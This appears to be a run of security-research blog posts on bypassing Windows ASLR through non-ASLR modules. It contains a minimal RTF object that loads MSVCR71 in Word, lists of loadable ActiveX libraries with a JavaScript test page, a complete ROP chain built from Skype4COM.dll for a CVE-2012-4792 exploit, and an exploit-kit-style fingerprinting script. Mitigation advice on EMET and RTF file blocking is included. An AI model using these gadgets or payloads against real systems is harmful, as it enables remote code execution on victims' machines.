ASLR

All posts tagged ASLR

A couple of months ago a RTF 0-day was used in attacks and to bypass ASLR (Address Space Layout Randomization) it was using a non-ASLR module MSCOMCTL.OCX.  This got me interested to research into how it was actually loading up and discover if there were any more modules that could be used in the future following the recent Microsoft bulletin MS14-024 that finally implemented ASLR on the module. I started with an exploit taken from MetaSploit which exploits the Microsoft Word RTF Object Confusion vulnerability (CVE-2014-1761) and patched in April updates MS14-017 . This exploit uses module MSCOMCTL.OCX to bypass ASLR and what I needed was that part of the code so removed all other code leaving it just to load the OCX file.

Just to load the OCX file we are looking around 17018 bytes added to the exploit. Far too large so I started looking into ways to reduce the size. Most of the data was used in the control word \objdata which contains the data used by the object represented in hexadecimal. Taking this data and using a vbs script I wrote the data to file so it could be easily viewed in a hex editor to try and make sense of it.

The FormatID value of 0x00000002 tells the ObjectHeader structure that it must be followed by an EmbeddedObject structure. The main value to look at was the bulk size of the data which had a size of 0x00001E00 (7680 bytes), going to the end of this data clunk leads to the next OLEVersion header. Removing this data chunk, some control words and tidying it up we are left with

As you can see I have also changed the data chunk size to 1 and the data chunk only now contains 0x41 and the file size has gone down to 1619 bytes. (Size defined on line 8)

Looking at the remaining data above there is another OLEVersion header and FormatID value. FormatID 0x00000005 tells us that the classname must be present, is this case METAFILEPICT. The classname field identifies the type of the presentation data structure and in this case is a Windows Meta File (WMF). If we change the FormatID to 0x00000000 it tells the parser that that classname field must not be present and we can remove the rest of the data chunk which leaves us with

Lastly the control word \objclass is optional so thats removed

Finally we end up with a size of 180 bytes from the huge 17018 bytes we started in the beginning. It could be the 0-day exploit chose a large chunk of object data to give it a bit of size and confusion for the analyst when reverse engineering the RTF. A good Microsoft document  “Object Linking and Embedding (OLE) Data Structures”  explains the data structures.

Searching for new ActiveX/COM objects
Now that all the irrelevant data had been discarded it was a matter of just changing the ProgID (programmatic identifier) and size of the ProgID. Since ActiveX controls are not being used in Internet Explorer the controls are not required to be marked as “safe for initialization” or “safe for scripting”. The tedious task now was building a couple of vanilla Windows machines and get them all up-to-date, testing with only Windows first and then with Microsoft Office. Actions needed to take were

  • List all non ASLR modules
  • List all COM object modules
  • Test modules can be loaded in Word
  • Check modules does not get rebased

After going through this process I ended up with two libraries that fitted the criteria perfectly.

Library OTKLOADR.DLL
Path C:\Program Files\Microsoft Office\Office14\ADDINS\
C:\Program Files (x86)\Microsoft Office\Office14\ADDINS\ (W64)
ProgIDs otkloadr.WRAssembly.1
otkloadr.WRLoader.1
Versions 7.10.2179.0 (msvcr71.dll) 7.10.5077.0 (olkloadr.dll)
Note OTKLOADR.DLL gets rebased but is linked to another non-ASLR module MSVCR71.DLL in the same path
Library SQLCECA35.DLL
Path C:\Program Files\Microsoft SQL Server Compact Edition\v3.5\
C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5 (W64)
ProgIDs SSCE.DropTableListener.3.5
SSCE.Engine.3.5SSCE.Error.3.5
SSCE.Errors.3.5
SSCE.Param.3.5
SSCE.Params.3.5
SSCE.RemoteDataAccess.3.5
SSCE.Replication.3.5
Versions 3.5.5692.0 (sqlceca35.dll and sqlceer35EN.dll)
Note Another module also gets loaded sqlceer35EN.dll but gets rebased

All of the ProgIDs listed above apart from one loads the relevant non ASLR module successfully but upon exiting MS Word it prompts “Do you want to save changes you made to {filename}” and also most of the time gives error “There is not enough memory or disk space to display or print the picture”.

The one that works with no prompts or errors was using ProgID “otkloadr.WRAssembly.1“. This ProgID works with no issues at all, opens and exits the document cleanly, no square box displayed and it happens to be our friendly old “MSVCR71.DLL” library not compiled with the /DYNAMICBASE option. Looks like this library just does not go away and has come back to haunt us again :-) Another research area would be to load all ProgIDs available and monitor which ones load non-ASLR modules but that’s for another day. Here is a screenshot of both libraries loaded in WINWORD.EXE process space

This has been tested on a fully patched Windows 7 SP1 Enterprise OS (32bit and 64bit) with Microsoft Office Professional Plus 2010 (32bit) with version of Word being 14.0.7116.5000 (32bit) and here is the code using ProgID otkloadr.WRAssembly.1

{\rtf1{\object\objocx{\*\objdata 
01050000
02000000
16000000
6f746b6c6f6164722e5752417373656d626c792e3100
00000000
00000000
01000000
41
01050000
00000000
}}}

Third Party modules
As I started looking at other apps dozens of ProgIDs were being discovered. ITunes and DivX player contains modules that could be loaded by their ProgIDs but unlikely as they use the preferred base address of 0x10000000 so if some module is already loaded at that address then the next module would get rebased. Yahoo Messenger contains a number of ProgIDs that does not get rebased. I also found some old Microsoft OCX files (non-ASLRed) installed on another PC most likely by other third-party software or old Microsoft software. A quick test on ProgIDs PicClip.PictureClip.1 (PICCLP32.OCX) MSMAPI.MapiMessage.1 (MSMAPI32.OCX) worked fine.

C:\Windows\System32\COMCT232.OCX   
C:\Windows\System32\COMCTL32.OCX   
C:\Windows\System32\COMDLG32.OCX   
C:\Windows\System32\MCI32.OCX
C:\Windows\System32\MSCOMCT2.OCX   
C:\Windows\System32\MSCOMM32.OCX
C:\Windows\System32\MSFLXGRD.OCX   
C:\Windows\System32\MSINET.OCX
C:\Windows\System32\MSMAPI32.OCX
C:\Windows\System32\MSMASK32.OCX
C:\Windows\System32\MSWINSCK.OCX
C:\Windows\System32\PICCLP32.OCX
C:\Windows\System32\SYSINFO.OCX
C:\Windows\System32\TABCTL32.OCX

Mitigation
The best mitigation would be to install Microsoft EMET and add MSWord (WINWORD.EXE) to its application list. EMET has a number of mitigations which will stop exploits one way or another and it’s free so there’s no excuse for not getting it deployed. There is also a  FixIT from Microsoft which configures the Microsoft Office File Block policy to prevent the opening of RTF files in supported versions of Microsoft Word. You can also configure the blocking of RTF files manually in the Trust Center settings.

File — Options — Trust Center — Trust Center Settings — File Block Settings

Make sure “Open” is checked for RTF Files. Further below there are three other choices. “Do not open selected file types” selected won’t even open the file which is what you want.

Choosing “Open selected file types in Protected View” which is the default opens another WINWORD.EXE as a child process in low integrity mode.

The registry settings are below if you decide to script it out to your managed assets.

Windows Registry Editor Version 5.00
;
[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\FileBlock]
"RtfFiles"=dword:00000002
"OpenInProtectedView"=dword:00000001
;
; "RtfFiles"=dword:00000001            - Save checked
; "RtfFiles"=dword:00000002            - Open and Save checked
; "OpenInProtectedView"=dword:00000000 - Do not open selected file types
; "OpenInProtectedView"=dword:00000001 - Open selected file types in Protected View
; "OpenInProtectedView"=dword:00000002 - Open selected file types in Protected View and allow editing

By default for most MSWord document formats are not set for Protected View settings so MSWord would be running in medium integrity meaning once compromised would be extremely damaging making malware persistent on the machine. RTF format file extensions .rtf can be renamed to .doc and still would be parsed as RTF so bear that in mind for those who are thinking of blocking just by .rtf extension on your mail relays.

Conclusion
Bypassing ASLR on Microsoft Word RTF formatted documents has now become a lot easier as we can see. There could be potentially hundreds of possible ProgIDs on a system from various applications that could be used increasing the ever threat of being compromised. Until all vendors start compiling there code with the /DYNAMICBASE option which I don’t see it happening anytime soon the only real defense would be to get Microsoft EMET installed on all assets ASAP.

Here is a zip file containing some example RTF files, third-party software ProgIDs, vbs script, etc.

 

 

This is just a short post highlighting a couple of products that if installed could be used to bypass ASLR in Internet Explorer.

  • DivX Player 10.0.2
  • Yahoo Messenger 11.5.0.228
  • AOL Instant Messenger 7.5.14.8

These products contain a number of libraries that does not get ASLRed when loaded in memory due to not being compiled with the dynamicbase flag. These libraries can easily be loaded in Internet Explorer as they get registered on the system to run without permissions therefore no prompts are given. Below are the lists of libraries that can be loaded via ProgID or ClassID.

Dll     - C:\Program Files\DivX\DivX OVS Helper\npovshelper.dll
ProgID  - OVSHelper.OVSHelperCOM.1
ClassID - C6E31427-FD7E-4C53-B568-124B191E5DC4
Version - 1.1.0.12
-
Dll     - C:\Program Files\DivX\DivX Web Player\npdivx32.dll
ProgID  - npdivx.DivXBrowserPlugin.1
ClassID - 67DABFBF-D0AB-41FA-9C46-CC0F21721616
Version - 3.0.1.5
-
Dll     - C:\Program Files\DivX\DivX Web Player\npdivx32.dll
ProgID  - nprovi.RoviStreamPlayer.1
ClassID - 7F64C4F7-2D43-42fe-B7E7-CE5873E7D8B6
Version - 3.0.1.5
-
Dll     - C:\Program Files\Yahoo!\Messenger\YPagerChecker.dll
ProgID  - YPagerChecker.MessengerChecker.1
ClassID - DA4F543C-C8A9-4E88-9A79-548CBB46F18F
Version - 1.1.0.3
-
Dll     - C:\Program Files\AIM\isAim.dll
ProgID  - isaim.aimlocator.1
ClassID - BAEB32D0-732D-11D2-8BF4-0060B0A4A9EA
Version - 2.0.0.0

To view which libraries that can be loaded without permission go to “Manage Add-ons” which can be accessed from Internet Explorer – Tools – Manage Add-ons and choose “Run without permission” in the show dropdown list.

The below script you can use to test if any of these libraries get loaded or just click here to run it now. Libraries taking base address 0x10000000 will get rebased if one is already loaded. Note that for the Yahoo Messenger object check does not work so will fail but the library will still get loaded if installed. Also depending where you download AOL Instant Messenger the latest version is 8.0.6.1 which does not contain isAim.dll library.

<HTML>
<SCRIPT language="JavaScript"> 
//
if (DivX1() == "DivX")
{
   document.write("DivX VOD Helper Plug-in npovshelper.dll loaded<br>");
}
if (DivX2() == "DivX")
{
   document.write("DivX Web Player (DivXBrowserPlugin) npdivx32.dll loaded<br>");
}
if (DivX3() == "DivX")
{
   document.write("DivX Web Player (RoviStreamPlayer) npdivx32.dll loaded<br>");
}
if (Aol() == "AIM")
{
   document.write("AOL Messenger isAim.dll loaded<br>");
}
if (Yahoo() == "YahooM")
{
   document.write("Yahoo Messenger YPagerChecker.dll loaded<br>");
}
//
function DivX1() 
{
   var divxver = "";
   var divx = 0;
   var err = 0;
   try {
         divx = new ActiveXObject("OVSHelper.OVSHelperCOM.1") 
   } catch (err) {
      document.write("DivX VOD Helper Plug-in npovshelper.dll failed<br>");
   }
   if ((typeof divx) == "object") {
      divxver = "DivX";
   }
   return divxver;
}
function DivX2() 
{
   var divxver = "";
   var divx = 0;
   var err = 0;
   try {
         divx = new ActiveXObject("npdivx.DivXBrowserPlugin.1")
   } catch (err) {
      document.write("DivX Web Player (DivXBrowserPlugin) npdivx32.dll failed<br>");
   }
   if ((typeof divx) == "object") {
      divxver = "DivX";
   }
   return divxver;
}
function DivX3() 
{
   var divxver = "";
   var divx = 0;
   var err = 0;
   try {
         divx = new ActiveXObject("nprovi.RoviStreamPlayer.1")
   } catch (err) {
      document.write("DivX Web Player (RoviStreamPlayer) npdivx32.dll failed<br>");
   }
   if ((typeof divx) == "object") {
      divxver = "DivX";
   }
   return divxver;
}
function Aol() 
{
   var aolver = "";
   var aol = 0;
   var err = 0;
   try {
         aol = new ActiveXObject("isaim.aimlocator.1")
   } catch (err) {
      document.write("AOL Messenger isAim.dll failed<br>");
   }
   if ((typeof aol) == "object") {
      aolver = "AIM";
   }
   return aolver;
}
function Yahoo() 
{
   var yahoover = "";
   var yahoo = 0;
   var err = 0;
   try {
         yahoo = new ActiveXObject("YPagerChecker.MessengerChecker.1")  
   } catch (err) {
      document.write("Yahoo Messenger YPagerChecker.dll failed<br>");
   }
   if ((typeof yahoo) == "object") {
      yahoover = "YahooM";
   }
   return yahoover;
}
</SCRIPT>
</HTML>

Checking with Process Explorer you’ll see something like this

There are a number of mitigations available so bypassing ASLR using modules not set with the dynamicbase bit should be old news by now.

  • Install Microsoft EMET which supports multiple mitigation technologies, one being Mandatory Address Space Layout Randomization (ASLR) forcing module addresses to be randomized for a target process
  • Upgrade to Internet Explorer 10 or 11 where additional patches will be installed enabling it to use ForceASLR on Windows 7
  • Upgrade to Windows 8 which supports ForceASLR where Internet Explorer tells the OS to randomize all modules loaded by the browser
  • Disable the libraries from “Manage Add-ons”

Running Internet Explorer 10/11 or EMET all addresses will get randomized as you can see below

While investigating an unrelated issue using SysInternals Autoruns tool I spotted a couple of protocol handlers installed on the system by Skype. Knowing that protocol handlers can be loaded by Internet Explorer without any prompts I decided to check if these libraries have there dynamic base bits set. It turns out that the “skype4com.dll” library has not which means it could be used to bypass Windows ASLR so I got to work writing my rop chain and testing it out.

A quick test to see if it indeed loads up can be done from the code below

<SCRIPT language="JavaScript">  
location.href = 'skype4com:'
</SCRIPT>

Filename - Skype4COM.dll
Path     - C:\Program Files\Common Files\Skype\
MD5 hash - 6e04c50ca4a3fa2cc812cd7ab84eb6d7
Size     - 2,156,192 bytes
Signed   - 03 November 2011 11:46:40
Version  - 1.0.38.0

and here is my rop chain without any nulls.

 0x28025062   # POP EBX # RETN
 0xa13fcde1   # 0xA13FCDE1
 0x28024f71   # POP EAX # RETN
 0x5ec03420   # 0x5EC03420
 0x28027b5c   # ADD EBX,EAX # XOR EAX,EAX # RETN (EBX=0x201, 513 bytes)
 0x28024f71   # POP EAX # RETN
 0xa13fcde1   # 0xA13FCDE1
 0x280b4654   # ADD EAX,5EC0325F # RETN
 0x28099a83   # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN (EDX=0x40)
 0x41414141   # Compensate
 0x28017271   # POP ECX # RETN
 0x280de198   # VirtualProtect() pointer [IAT]
 0x28027b5b   # MOV EAX,DWORD PTR DS:[ECX] # RETN
 0x28041824   # XCHG EAX,ESI # ADD EAX,48C48300 # RETN 0x08
 0x2806405a   # POP EBP # RETN
 0x41414141   # Compensate
 0x41414141   # Compensate
 0x280bc55b   # & push esp # ret 
 0x28017271   # POP ECX # RETN
 0x28126717   # &Writable location
 0x28098730   # POP EDI # RETN
 0x28098731   # RETN (ROP NOP)
 0x28024f71   # POP EAX # RETN
 0x90909090   # nop
 0x28043527   # PUSHAD # RETN

I’ve created an exploit using this rop chain on the “CButton Object Use-After-Free vulnerability” (CVE-2012-4792) taken from Metasploit. It has been tested on Windows 7 Enterprise (32bit) in VM with the latest version of Skype installed (6.2.59.106). The exploit can be downloaded from here, the password is “exploit” and the md5 hash of the zip file is 4d5735ff26b769abe1b02f74e2871911

Mitigation? Well I said it before and I’ll say it again . . . “EMET” your machines ASAP :-)

On something off topic, I was looking at the html code posted on Pastebin for the CVE-2012-4792 exploit and liked the way it checked to see if Office 2010 or 2007 was installed. Some blog posts weren’t as clear as to what the Office check routine was actually doing but really it was just determining which hxds.dll version to use for its rop chain for the Office version it detected. (I haven’t got the actual exploit files to confirm though but I’m pretty sure).

For Office 2010 it installs 4 OpenDocuments ActiveX objects

SharePoint.OpenDocuments.4
SharePoint.OpenDocuments.3
SharePoint.OpenDocuments.2
SharePoint.OpenDocuments.1

and Office 2007 only 3

SharePoint.OpenDocuments.3
SharePoint.OpenDocuments.2
SharePoint.OpenDocuments.1

So basically if the JavaScript is able to load “SharePoint.OpenDocuments.4″ then it knows that it’s Office 2010. Since these ActiveX controls can be run without permissions no prompts are given. Below is a simple script that could be used if say in this example checking Windows 7 with IE8 has got installed Office 2007/2010 or Java 6. No Skype ActiveX controls gets installed that can be run without permissions so I couldn’t work out how to check if Skype is installed without triggering prompts in Internet Explorer. If you do know how to check without triggering prompts please do share.

<HTML>
<SCRIPT language="JavaScript"> 
//
//
if (CheckIEOSVersion() == "ie8w7")
{
   if (CheckOfficeVersion() == "Office2010")
   {
//     Exploit call here
   }
   else if (CheckOfficeVersion() == "Office2007")
   {
//     Exploit call here
   }
   else if (JavaVersion() == "Java6")
   {
//     Exploit call here
   }
   else if (SkypeCheck() == "")
   {
//     Exploit call here
   }
}
//
//
function CheckIEOSVersion()
{
   var agent = navigator.userAgent.toUpperCase();
   var os_ie_ver = "";
//
   if ((agent.indexOf('NT 5.1') > -1)&&(agent.indexOf('MSIE 7') > -1)) 
      os_ie_ver = "ie7wxp";  
   if ((agent.indexOf('NT 5.1') > -1)&&(agent.indexOf('MSIE 8') > -1))
      os_ie_ver = "ie8wxp";
   if ((agent.indexOf('NT 6.0') > -1)&&(agent.indexOf('MSIE 7') > -1))
      os_ie_ver = "ie7wv";   
   if ((agent.indexOf('NT 6.0') > -1)&&(agent.indexOf('MSIE 8') > -1)) 
      os_ie_ver = "ie8wv";
   if ((agent.indexOf('NT 6.1') > -1)&&(agent.indexOf('MSIE 8') > -1)) 
      os_ie_ver = "ie8w7";   
   if ((agent.indexOf('NT 6.1') > -1)&&(agent.indexOf('MSIE 9') > -1)) 
      os_ie_ver = "ie9w7";
   if ((agent.indexOf('NT 6.2') > -1)&&(agent.indexOf('MSIE 10') > -1)) 
      os_ie_ver = "ie10w8"; 
   return os_ie_ver;
}
//
//
function CheckOfficeVersion()
{
   var offver = "";
   var checka = 0;
   var checkb = 0;
//
   try {
         checka = new ActiveXObject("SharePoint.OpenDocuments.4");  
   } catch (e) {}
   try {
         checkb = new ActiveXObject("SharePoint.OpenDocuments.3");  
   } catch (e) {}
//
   if ((typeof checka) == "object" && (typeof checkb) == "object")
     offver = "Office2010";
   else if ((typeof checka) == "number" && (typeof checkb) == "object") 
     offver = "Office2007";
//
   return offver;
}
//
//
function JavaVersion() 
{
   var javver = "";
   var javaa = 0;
//
   try {
         javaa = new ActiveXObject("JavaWebStart.isInstalled.1.6.0.0");  
   } catch (e) {}
//
   if ((typeof javaa) == "object")
       javver = "Java6";
//
   return javver;
}
//
//
function SkypeCheck()
{
   var skypever = "";
   return skypever;
}
//
//
</SCRIPT>
</HTML>